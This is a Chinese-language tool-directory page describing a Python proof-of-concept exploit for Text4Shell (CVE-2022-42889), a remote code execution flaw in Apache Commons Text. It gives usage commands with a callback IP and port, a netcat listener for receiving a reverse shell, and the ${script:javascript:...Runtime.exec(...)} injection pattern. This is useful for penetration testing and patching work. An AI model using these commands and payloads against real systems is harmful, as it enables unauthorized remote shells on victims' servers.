Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
text4shell-exploit — 一个自定义的基于 Python 的概念验证(PoC)漏洞利用程序,针对 Text4Shell(CVE-2022-42889),这是 Apache Commons Text 版本 1.10 以下的一个严重远程代码执行漏洞。 | Kitploit
工具/GitHubGitHub/syndicate27/text4shell-exploit
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubsyndicate27/text4shell-exploit

text4shell-exploit

一个自定义的基于 Python 的概念验证(PoC)漏洞利用程序,针对 Text4Shell(CVE-2022-42889),这是 Apache Commons Text 版本 1.10 以下的一个严重远程代码执行漏洞。

查看仓库
111年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

text4shell-exploit

一个基于Python的定制化概念验证(PoC)利用程序,针对Text4Shell(CVE-2022-42889),这是Apache Commons Text版本< 1.10中的一个关键远程代码执行漏洞。 该利用程序针对使用启用了插值的StringSubstitutor类的Java应用程序,允许注入${script:...}表达式以执行任意系统命令。

在此PoC中,通过data查询参数演示了利用过程;但易受攻击的参数名称可能因实现而异。用户应根据目标应用程序的逻辑相应调整有效载荷和请求路径。

免责声明:此利用程序仅供教育和授权的渗透测试使用。请负责任地使用,风险自负。

描述

这是一个针对Apache Commons Text漏洞(即Text4Shell(CVE-2022-42889))的自定义Python3利用程序。它通过不安全的插值器实现远程代码执行(RCE),当用户输入被StringSubstitutor动态评估时触发。

测试环境:

  • Apache Commons Text < 1.10.0
  • 使用来自不可信输入的${script:...}插值的Java应用程序

用法

root@kitploit:~
python3 text4shell.py <target_ip> <callback_ip> <callback_port>

示例

root@kitploit:~
python3 text4shell.py 127.0.0.1 192.168.1.2 4444

确保在攻击机上设置监听器:

root@kitploit:~
nc -nlvp 4444

有效载荷逻辑

该脚本注入:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec(...)}

通过POST请求的/data参数发送反弹Shell。

下载工具